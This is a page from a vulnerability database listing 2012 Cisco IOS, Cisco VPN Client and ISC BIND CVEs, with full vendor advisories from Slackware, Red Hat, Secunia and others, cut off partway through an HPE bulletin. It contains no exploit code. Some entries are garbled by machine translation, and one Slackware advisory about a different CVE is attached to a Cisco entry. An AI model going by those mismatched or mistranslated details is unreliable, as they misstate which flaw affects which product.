VARIoT IoT vulnerabilities database
| VAR-201209-0394 | CVE-2012-3915 | Cisco IOS of DMVPN Service disruption in tunnel implementation (DoS) Vulnerabilities |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The DMVPN tunnel implementation in Cisco IOS 15.2 allows remote attackers to cause a denial of service (persistent IKE state) via a large volume of hub-to-spoke traffic, aka Bug ID CSCtq39602. Cisco IOS is a popular Internet operating system. The vulnerability Cisco bug ID is CSCtq39602. IOS is prone to a denial-of-service vulnerability
| VAR-201209-0396 | CVE-2012-3923 | Cisco IOS of SSLVPN Service disruption in implementations ( Device crash ) Vulnerabilities |
CVSS V2: 3.5 CVSS V3: - Severity: LOW |
The SSLVPN implementation in Cisco IOS 12.4, 15.0, 15.1, and 15.2, when DTLS is not enabled, does not properly handle certain outbound ACL configurations, which allows remote authenticated users to cause a denial of service (device crash) via a session involving a PPP over ATM (PPPoA) interface, aka Bug ID CSCte41827. Cisco IOS is a popular Internet operating system. The vulnerability Cisco bug ID is CSCte41827. Cisco IOS is prone to multiple remote denial-of-service vulnerabilities.
An attacker can exploit these issues to cause the affected device to crash and reload, denying service to legitimate users
| VAR-201209-0397 | CVE-2012-3924 | Cisco IOS of SSLVPN Service disruption in implementations ( Device crash ) Vulnerabilities |
CVSS V2: 3.5 CVSS V3: - Severity: LOW |
The SSLVPN implementation in Cisco IOS 15.1 and 15.2, when DTLS is enabled, does not properly handle certain outbound ACL configurations, which allows remote authenticated users to cause a denial of service (device crash) via a session involving a PPP over ATM (PPPoA) interface, aka Bug ID CSCty97961. Cisco IOS is a popular Internet operating system. This vulnerability Cisco bug ID is CSCty97961. Cisco IOS is prone to multiple remote denial-of-service vulnerabilities.
An attacker can exploit these issues to cause the affected device to crash and reload, denying service to legitimate users
| VAR-201209-0242 | CVE-2012-3052 | Cisco VPN Client Vulnerability gained in |
CVSS V2: 6.9 CVSS V3: - Severity: MEDIUM |
Untrusted search path vulnerability in Cisco VPN Client 5.0 allows local users to gain privileges via a Trojan horse DLL in the current working directory, aka Bug ID CSCua28747. The problem is Bug ID CSCua28747 It is a problem. Supplementary information : CWE Vulnerability type by CWE-426: Untrusted Search Path ( Unreliable search path ) Has been identified. http://cwe.mitre.org/data/definitions/426.htmlA local user can create a Trojan horse in the current working directory. DLL It may be possible to get permission through the file. Cisco VPN Client is a set of cross-platform VPN client software from Cisco
| VAR-201404-0018 | CVE-2012-4651 | Cisco IOS Denial of service in Japan (DoS) Vulnerability |
CVSS V2: 4.3 CVSS V3: - Severity: MEDIUM |
Cisco IOS before 15.3(2)T, when scansafe is enabled, allows remote attackers to cause a denial of service (latency) via SYN packets that are not accompanied by SYN-ACK packets from the Scan Safe Tower, aka Bug ID CSCub85451. Cisco IOS In ScanSafe Denial of service if enabled ( Latency ) There is a vulnerability that can be exploited. IOS is prone to a denial-of-service vulnerability. Cisco IOS is an operating system developed by Cisco in the United States for its network equipment.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[slackware-security] patch (SSA:2012-257-02)
New patch packages are available for Slackware 12.1, 12.2, 13.0, 13.1, 13.37,
and -current to fix a security issue.
Here are the details from the Slackware 13.37 ChangeLog:
+--------------------------+
patches/packages/patch-2.7-i486-1_slack13.37.txz: Upgraded.
This version of patch ignores destination filenames that are absolute or
that contain a component of "..", unless such a filename is provided as
an argument.
For more information, see:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4651
(* Security fix *)
+--------------------------+
Where to find the new packages:
+-----------------------------+
Thanks to the friendly folks at the OSU Open Source Lab
(http://osuosl.org) for donating FTP and rsync hosting
to the Slackware project! :-)
Also see the "Get Slack" section on http://slackware.com for
additional mirror sites near you.
Updated package for Slackware 12.1:
ftp://ftp.slackware.com/pub/slackware/slackware-12.1/patches/packages/patch-2.7-i486-1_slack12.1.tgz
Updated package for Slackware 12.2:
ftp://ftp.slackware.com/pub/slackware/slackware-12.2/patches/packages/patch-2.7-i486-1_slack12.1.tgz
Updated package for Slackware 13.0:
ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/patch-2.7-i486-1_slack13.0.txz
Updated package for Slackware x86_64 13.0:
ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/patch-2.7-x86_64-1_slack13.0.txz
Updated package for Slackware 13.1:
ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/patch-2.7-i486-1_slack13.1.txz
Updated package for Slackware x86_64 13.1:
ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/patch-2.7-x86_64-1_slack13.1.txz
Updated package for Slackware 13.37:
ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/patch-2.7-i486-1_slack13.37.txz
Updated package for Slackware x86_64 13.37:
ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/patch-2.7-x86_64-1_slack13.37.txz
Updated package for Slackware -current:
ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/a/patch-2.7-i486-1.txz
Updated package for Slackware x86_64 -current:
ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/a/patch-2.7-x86_64-1.txz
MD5 signatures:
+-------------+
Slackware 12.1 package:
ebe093df28fc95c594af368597bf7262 patch-2.7-i486-1_slack12.1.tgz
Slackware 12.2 package:
f39f3ce8bbba509b7e266b6c8c9dcf47 patch-2.7-i486-1_slack12.1.tgz
Slackware 13.0 package:
e8404d45a3b51f8a7ad67efedfb488d9 patch-2.7-i486-1_slack13.0.txz
Slackware x86_64 13.0 package:
90d8b1e9237fe5080bd56a42de14d554 patch-2.7-x86_64-1_slack13.0.txz
Slackware 13.1 package:
f0fdc8a64eb8051527e9854ea9adba72 patch-2.7-i486-1_slack13.1.txz
Slackware x86_64 13.1 package:
60c3b0f3d1bc49b7e0140cbe65114560 patch-2.7-x86_64-1_slack13.1.txz
Slackware 13.37 package:
e70793008f94ef1f7f39b5e444bce6eb patch-2.7-i486-1_slack13.37.txz
Slackware x86_64 13.37 package:
6fc457dbe6d32fd747336eb271a49c08 patch-2.7-x86_64-1_slack13.37.txz
Slackware -current package:
95134353a77428529c66f801f405bc05 a/patch-2.7-i486-1.txz
Slackware x86_64 -current package:
e0128639a440509600c060f2cd1e0530 a/patch-2.7-x86_64-1.txz
Installation instructions:
+------------------------+
Upgrade the package as root:
# upgradepkg patch-2.7-i486-1_slack13.37.txz
+-----+
Slackware Linux Security Team
http://slackware.com/gpg-key
security@slackware.com
+------------------------------------------------------------------------+
| To leave the slackware-security mailing list: |
+------------------------------------------------------------------------+
| Send an email to majordomo@slackware.com with this text in the body of |
| the email message: |
| |
| unsubscribe slackware-security |
| |
| You will get a confirmation message back containing instructions to |
| complete the process. Please do not reply to this email address. |
+------------------------------------------------------------------------+
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)
iEYEARECAAYFAlBSlvYACgkQakRjwEAQIjNq4QCfToYaW19I79R748n7LK5gRxdN
VdwAn1gKwMwexSfYJRQNcFTZdT7Ii4ip
=HZF+
-----END PGP SIGNATURE-----
| VAR-201210-0300 | CVE-2012-5166 | ISC BIND Service disruption in (named Daemon hang ) Vulnerabilities |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
ISC BIND 9.x before 9.7.6-P4, 9.8.x before 9.8.3-P4, 9.9.x before 9.9.1-P4, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P4 allows remote attackers to cause a denial of service (named daemon hang) via unspecified combinations of resource records. ISC BIND is prone to a remote denial-of-service vulnerability.
An attacker can exploit this issue to cause the 'named' process to lockup, denying service to legitimate users. [RT #31090]
(CVE-2012-5166). The verification
of md5 checksums and GPG signatures is performed automatically for you.
All packages are signed by Mandriva for security. You can obtain the
GPG public key of the Mandriva Security Team by executing:
gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98
You can view other update advisories for Mandriva Linux at:
http://www.mandriva.com/security/advisories
If you want to report vulnerabilities, please contact
security_(at)_mandriva.com
_______________________________________________________________________
Type Bits/KeyID Date User ID
pub 1024D/22458A98 2000-07-10 Mandriva Security Team
<security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
iD8DBQFQdULemqjQ0CJFipgRAqmHAKDZVAV8OmU7wk0ieb0RhgXhjp1/hQCgwfW7
zf2hK/iuE08rZtMXpzK6bIs=
=JF6q
-----END PGP SIGNATURE-----
. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
ISC BIND Resource Record Denial of Service Vulnerability
SECUNIA ADVISORY ID:
SA50610
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50610/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50610
RELEASE DATE:
2012-09-13
DISCUSS ADVISORY:
http://secunia.com/advisories/50610/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50610/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50610
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in ISC BIND, which can be exploited
by malicious people to cause a DoS (Denial of Service).
The vulnerability is caused due to an assertion error when processing
resource records having RDATA greater than 65535 bytes. This can be
exploited to e.g. crash a recursive server via a query that requests
a record from an authoritative server.
PROVIDED AND/OR DISCOVERED BY:
Reported by the vendor.
ORIGINAL ADVISORY:
https://kb.isc.org/article/AA-00778/74
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Important: bind security update
Advisory ID: RHSA-2012:1363-01
Product: Red Hat Enterprise Linux
Advisory URL: https://rhn.redhat.com/errata/RHSA-2012-1363.html
Issue date: 2012-10-12
CVE Names: CVE-2012-5166
=====================================================================
1. Summary:
Updated bind packages that fix one security issue are now available for
Red Hat Enterprise Linux 5 and 6.
The Red Hat Security Response Team has rated this update as having
important security impact. A Common Vulnerability Scoring System (CVSS)
base score, which gives a detailed severity rating, is available from the
CVE link in the References section.
2. Relevant releases/architectures:
RHEL Desktop Workstation (v. 5 client) - i386, x86_64
Red Hat Enterprise Linux (v. 5 server) - i386, ia64, ppc, s390x, x86_64
Red Hat Enterprise Linux Desktop (v. 5 client) - i386, x86_64
Red Hat Enterprise Linux Desktop (v. 6) - i386, x86_64
Red Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64
Red Hat Enterprise Linux HPC Node (v. 6) - x86_64
Red Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64
Red Hat Enterprise Linux Server (v. 6) - i386, ppc64, s390x, x86_64
Red Hat Enterprise Linux Server Optional (v. 6) - i386, ppc64, s390x, x86_64
Red Hat Enterprise Linux Workstation (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Optional (v. 6) - i386, x86_64
3. Description:
The Berkeley Internet Name Domain (BIND) is an implementation of the
Domain Name System (DNS) protocols. BIND includes a DNS server (named); a
resolver library (routines for applications to use when interfacing with
DNS); and tools for verifying that the DNS server is operating correctly.
A flaw was found in the way BIND handled certain combinations of resource
records. A remote attacker could use this flaw to cause a recursive
resolver, or an authoritative server in certain configurations, to lockup.
(CVE-2012-5166)
Users of bind are advised to upgrade to these updated packages, which
correct this issue. After installing the update, the BIND daemon (named)
will be restarted automatically.
4. Solution:
Before applying this update, make sure all previously-released errata
relevant to your system have been applied.
This update is available via the Red Hat Network. Details on how to
use the Red Hat Network to apply this update are available at
https://access.redhat.com/knowledge/articles/11258
5. Bugs fixed (http://bugzilla.redhat.com/):
864273 - CVE-2012-5166 bind: Specially crafted DNS data can cause a lockup in named
6. Package List:
Red Hat Enterprise Linux Desktop (v. 5 client):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/5Client/en/os/SRPMS/bind-9.3.6-20.P1.el5_8.5.src.rpm
i386:
bind-9.3.6-20.P1.el5_8.5.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.i386.rpm
bind-libs-9.3.6-20.P1.el5_8.5.i386.rpm
bind-sdb-9.3.6-20.P1.el5_8.5.i386.rpm
bind-utils-9.3.6-20.P1.el5_8.5.i386.rpm
x86_64:
bind-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-libs-9.3.6-20.P1.el5_8.5.i386.rpm
bind-libs-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-sdb-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-utils-9.3.6-20.P1.el5_8.5.x86_64.rpm
RHEL Desktop Workstation (v. 5 client):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/5Client/en/os/SRPMS/bind-9.3.6-20.P1.el5_8.5.src.rpm
i386:
bind-chroot-9.3.6-20.P1.el5_8.5.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.i386.rpm
bind-devel-9.3.6-20.P1.el5_8.5.i386.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.5.i386.rpm
caching-nameserver-9.3.6-20.P1.el5_8.5.i386.rpm
x86_64:
bind-chroot-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-devel-9.3.6-20.P1.el5_8.5.i386.rpm
bind-devel-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.5.i386.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.5.x86_64.rpm
caching-nameserver-9.3.6-20.P1.el5_8.5.x86_64.rpm
Red Hat Enterprise Linux (v. 5 server):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/5Server/en/os/SRPMS/bind-9.3.6-20.P1.el5_8.5.src.rpm
i386:
bind-9.3.6-20.P1.el5_8.5.i386.rpm
bind-chroot-9.3.6-20.P1.el5_8.5.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.i386.rpm
bind-devel-9.3.6-20.P1.el5_8.5.i386.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.5.i386.rpm
bind-libs-9.3.6-20.P1.el5_8.5.i386.rpm
bind-sdb-9.3.6-20.P1.el5_8.5.i386.rpm
bind-utils-9.3.6-20.P1.el5_8.5.i386.rpm
caching-nameserver-9.3.6-20.P1.el5_8.5.i386.rpm
ia64:
bind-9.3.6-20.P1.el5_8.5.ia64.rpm
bind-chroot-9.3.6-20.P1.el5_8.5.ia64.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.ia64.rpm
bind-devel-9.3.6-20.P1.el5_8.5.ia64.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.5.ia64.rpm
bind-libs-9.3.6-20.P1.el5_8.5.i386.rpm
bind-libs-9.3.6-20.P1.el5_8.5.ia64.rpm
bind-sdb-9.3.6-20.P1.el5_8.5.ia64.rpm
bind-utils-9.3.6-20.P1.el5_8.5.ia64.rpm
caching-nameserver-9.3.6-20.P1.el5_8.5.ia64.rpm
ppc:
bind-9.3.6-20.P1.el5_8.5.ppc.rpm
bind-chroot-9.3.6-20.P1.el5_8.5.ppc.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.ppc.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.ppc64.rpm
bind-devel-9.3.6-20.P1.el5_8.5.ppc.rpm
bind-devel-9.3.6-20.P1.el5_8.5.ppc64.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.5.ppc.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.5.ppc64.rpm
bind-libs-9.3.6-20.P1.el5_8.5.ppc.rpm
bind-libs-9.3.6-20.P1.el5_8.5.ppc64.rpm
bind-sdb-9.3.6-20.P1.el5_8.5.ppc.rpm
bind-utils-9.3.6-20.P1.el5_8.5.ppc.rpm
caching-nameserver-9.3.6-20.P1.el5_8.5.ppc.rpm
s390x:
bind-9.3.6-20.P1.el5_8.5.s390x.rpm
bind-chroot-9.3.6-20.P1.el5_8.5.s390x.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.s390.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.s390x.rpm
bind-devel-9.3.6-20.P1.el5_8.5.s390.rpm
bind-devel-9.3.6-20.P1.el5_8.5.s390x.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.5.s390.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.5.s390x.rpm
bind-libs-9.3.6-20.P1.el5_8.5.s390.rpm
bind-libs-9.3.6-20.P1.el5_8.5.s390x.rpm
bind-sdb-9.3.6-20.P1.el5_8.5.s390x.rpm
bind-utils-9.3.6-20.P1.el5_8.5.s390x.rpm
caching-nameserver-9.3.6-20.P1.el5_8.5.s390x.rpm
x86_64:
bind-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-chroot-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-devel-9.3.6-20.P1.el5_8.5.i386.rpm
bind-devel-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.5.i386.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-libs-9.3.6-20.P1.el5_8.5.i386.rpm
bind-libs-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-sdb-9.3.6-20.P1.el5_8.5.x86_64.rpm
bind-utils-9.3.6-20.P1.el5_8.5.x86_64.rpm
caching-nameserver-9.3.6-20.P1.el5_8.5.x86_64.rpm
Red Hat Enterprise Linux Desktop (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Client/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.5.src.rpm
i386:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.5.i686.rpm
x86_64:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
Red Hat Enterprise Linux Desktop Optional (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Client/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.5.src.rpm
i386:
bind-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.5.i686.rpm
x86_64:
bind-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
Red Hat Enterprise Linux HPC Node (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6ComputeNode/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.5.src.rpm
x86_64:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
Red Hat Enterprise Linux HPC Node Optional (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6ComputeNode/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.5.src.rpm
x86_64:
bind-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
Red Hat Enterprise Linux Server (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Server/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.5.src.rpm
i386:
bind-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.5.i686.rpm
ppc64:
bind-9.8.2-0.10.rc1.el6_3.5.ppc64.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.5.ppc64.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.ppc.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.ppc64.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.ppc.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.ppc64.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.5.ppc64.rpm
s390x:
bind-9.8.2-0.10.rc1.el6_3.5.s390x.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.5.s390x.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.s390.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.s390x.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.s390.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.s390x.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.5.s390x.rpm
x86_64:
bind-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Server/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.5.src.rpm
i386:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.5.i686.rpm
ppc64:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.ppc.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.ppc64.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.ppc.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.ppc64.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.5.ppc64.rpm
s390x:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.s390.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.s390x.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.s390.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.s390x.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.5.s390x.rpm
x86_64:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Workstation/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.5.src.rpm
i386:
bind-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.5.i686.rpm
x86_64:
bind-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-chroot-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Workstation/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.5.src.rpm
i386:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.5.i686.rpm
x86_64:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-debuginfo-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.i686.rpm
bind-devel-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
bind-sdb-9.8.2-0.10.rc1.el6_3.5.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/#package
7. References:
https://www.redhat.com/security/data/cve/CVE-2012-5166.html
https://access.redhat.com/security/updates/classification/#important
http://www.isc.org/software/bind/advisories/cve-2012-5166
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2012 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.4 (GNU/Linux)
iD8DBQFQeHsjXlSAg2UNWIIRAh5WAKCrcGYeGKxZlUpFiV7+CdpBVf7kWQCfbDMu
9mwEOEhLkEOAFKKQxmYZyOc=
=W+gi
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Note: the current version of the following document is available here:
https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_n
a-c04952488
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c04952488
Version: 1
HPSBOV03540 rev.1 - HPE OpenVMS TCPIP Bind Services and OpenVMS TCPIP IPC
Services for OpenVMS, Remote Disclosure of Information, Execution of Code,
Denial of Service (DoS)
NOTICE: The information in this Security Bulletin should be acted upon as
soon as possible.
Release Date: 2016-01-28
Last Updated: 2016-01-28
Potential Security Impact: Remote Code Execution, Denial of Service (DoS),
Disclosure of Information
Source: Hewlett Packard Enterprise, Product Security Response Team
VULNERABILITY SUMMARY
Potential security vulnerabilities have been identified with the OpenVMS
